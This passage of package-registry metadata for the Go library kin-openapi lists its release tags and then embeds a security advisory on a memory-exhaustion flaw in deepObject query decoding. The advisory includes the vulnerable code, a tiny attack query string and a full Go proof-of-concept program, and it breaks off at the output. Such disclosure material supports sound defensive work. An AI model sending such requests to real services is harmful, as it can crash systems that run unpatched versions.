shed_at":"2020-11-22T17:16:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.31.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.31.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.31.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.31.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.31.0/manifests"},{"name":"v0.30.0","sha":"da714f42fa6c62b1eead22b7545b843c24bb8644","kind":"commit","published_at":"2020-11-15T19:06:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.30.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.30.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.30.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.30.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.30.0/manifests"},{"name":"v0.29.0","sha":"2e4cbb269bfc6dfb39a79ffcaf671c7aa2d8951a","kind":"commit","published_at":"2020-11-14T14:12:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.29.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.29.0/manifests"},{"name":"v0.28.0","sha":"738fe87e5f58238a6b1a17fc3d15dbd9f8f3551f","kind":"commit","published_at":"2020-11-12T11:31:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.28.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.28.0/manifests"},{"name":"v0.27.0","sha":"d96b8169b6eb7b86a6e4bbed680c3e155d1692cf","kind":"commit","published_at":"2020-11-12T10:50:20.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.27.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.27.0/manifests"},{"name":"v0.26.0","sha":"fc3f90d8183b71442d5730b8e6cff877c9b93e45","kind":"commit","published_at":"2020-10-27T16:07:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.26.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.26.0/manifests"},{"name":"v0.25.0","sha":"25cec2f721904d8d181c7dc73c3511708f8e3d50","kind":"commit","published_at":"2020-10-26T22:21:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.25.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.25.0/manifests"},{"name":"v0.24.0","sha":"d9b54aff9ba984568f50998940cd22ff7e0992c2","kind":"commit","published_at":"2020-10-26T15:04:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.24.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.24.0/manifests"},{"name":"v0.23.0","sha":"5c863afc9e9f66c2d7974413c1a15cd08cbd5739","kind":"commit","published_at":"2020-10-21T07:57:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.23.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.23.0/manifests"},{"name":"v0.22.1","sha":"07f8b1819b00a31fc5f9b517a6f0a218e55a17a2","kind":"commit","published_at":"2020-09-30T10:14:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.22.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.22.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.22.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.1/manifests"},{"name":"v0.22.0","sha":"5f67f433f1c41577a27e893ba66c7a6d1a709207","kind":"commit","published_at":"2020-09-06T14:08:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.22.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"ceae068a70e7ef3d55351ab14a261e8b9802ce46","kind":"commit","published_at":"2020-09-04T09:18:00.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.21.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"2392e46f8ad6050d797390cb1859623f0994f710","kind":"commit","published_at":"2020-08-06T19:22:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.20.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.20.0/manifests"},{"name":"v0.19.0","sha":"8459893af4ad6c5efe9a42f13d685dfe52ceb91f","kind":"commit","published_at":"2020-07-17T20:11:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.19.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"62affaab231f4796e160bbe0f0fad3fdd39f3779","kind":"commit","published_at":"2020-07-16T12:37:35.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.18.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.18.0/manifests"},{"name":"v0.17.0","sha":"100b968d4813c01f576526d09ef34b0c828cc0cf","kind":"commit","published_at":"2020-07-15T16:42:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.17.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.17.0/manifests"},{"name":"v0.16.0","sha":"45811417b788af82062146a866853aabc878c6e7","kind":"commit","published_at":"2020-07-15T07:48:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.16.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.16.0/manifests"},{"name":"v0.15.0","sha":"f094a75ed4ddfc55772f40fdcac845930bf4abdc","kind":"commit","published_at":"2020-07-07T08:51:41.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.15.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.15.0/manifests"},{"name":"v0.14.0","sha":"d5e00c2b17495390e499e4deef36a23dda3284d2","kind":"commit","published_at":"2020-06-17T13:01:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.14.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.14.0/manifests"},{"name":"v0.13.0","sha":"52172527b486de59b22791ad5404712897551d70","kind":"commit","published_at":"2020-06-15T12:54:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.13.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.13.0/manifests"},{"name":"v0.12.0","sha":"26e9a3787488e3608f86913af5fdee929632e3e5","kind":"commit","published_at":"2020-06-15T11:07:01.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.12.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.12.0/manifests"},{"name":"v0.11.0","sha":"a78d0f6946ecee4e41b0af787d2c95dcceed0ac9","kind":"commit","published_at":"2020-06-15T10:14:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.11.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"2421d443a11015c4cf64688e918c684dfc3ff0df","kind":"commit","published_at":"2020-06-15T07:19:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.10.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"eac89ece3140ca1c17bf09d47e6a3fa1d0e02b1e","kind":"commit","published_at":"2020-05-24T22:29:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.9.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"0d3735e0dc49b955be31166e8bf109334c556061","kind":"commit","published_at":"2020-04-25T13:46:27.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.8.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.8.0/manifests"},{"name":"v0.7.0","sha":"6e8596576d442cfab4750ec8fd381148825eecf1","kind":"commit","published_at":"2020-04-25T10:56:29.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.7.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"7fdd3bce2215dedb954546fdcc0cbbca5fe44e8a","kind":"commit","published_at":"2020-04-25T09:50:43.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.6.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.6.0/manifests"},{"name":"v0.5.1","sha":"5249a0b23126180dac02c758f1a0df4d50beadaa","kind":"commit","published_at":"2020-04-21T15:20:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.5.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"6f2d174b74aa4a49562968fa6a7a1b5aefa744ab","kind":"commit","published_at":"2020-04-21T12:18:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.5.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.5.0/manifests"},{"name":"v0.4.0","sha":"d315d71c9ba70f32110361792e7391a294544eb7","kind":"commit","published_at":"2020-04-20T17:33:16.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.4.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"156b7ea663989fa097bcee777b98c76cf019d38c","kind":"commit","published_at":"2020-04-02T17:24:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.3.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"989d00f2a3e831bd8fa14a4c2abd17a37d684f50","kind":"commit","published_at":"2020-03-17T08:49:45.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.3.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"90a7df014b4e7699507bf82aa5601503a9ba85da","kind":"commit","published_at":"2019-05-10T11:47:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.2.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"db27d873292dcb033e3ce56f142dfb0ee65d55d4","kind":"commit","published_at":"2018-09-29T13:36:49.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.1.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-10-01T23:06:11.989Z","dependent_packages_count":2630,"downloads":null,"downloads_period":null,"dependent_repos_count":18476,"rankings":{"downloads":null,"dependent_repos_count":0.051353501945727124,"dependent_packages_count":0.0887015033608014,"stargazers_count":1.5441323696165707,"forks_count":1.5626523090834805,"docker_downloads_count":0.057785657744989914,"average":0.660925068350314},"purl":"pkg:golang/github.com/getkin/kin-openapi","advisories":[{"uuid":"GSA_kwCzR0hTQS14aGozLTd4dzktdnIzNM4ABlEg","url":"https://github.com/advisories/GHSA-xhj3-7xw9-vr34","title":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k)          // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k                          // max = attacker's index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ {              // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil)     // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n```\n\n**2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, 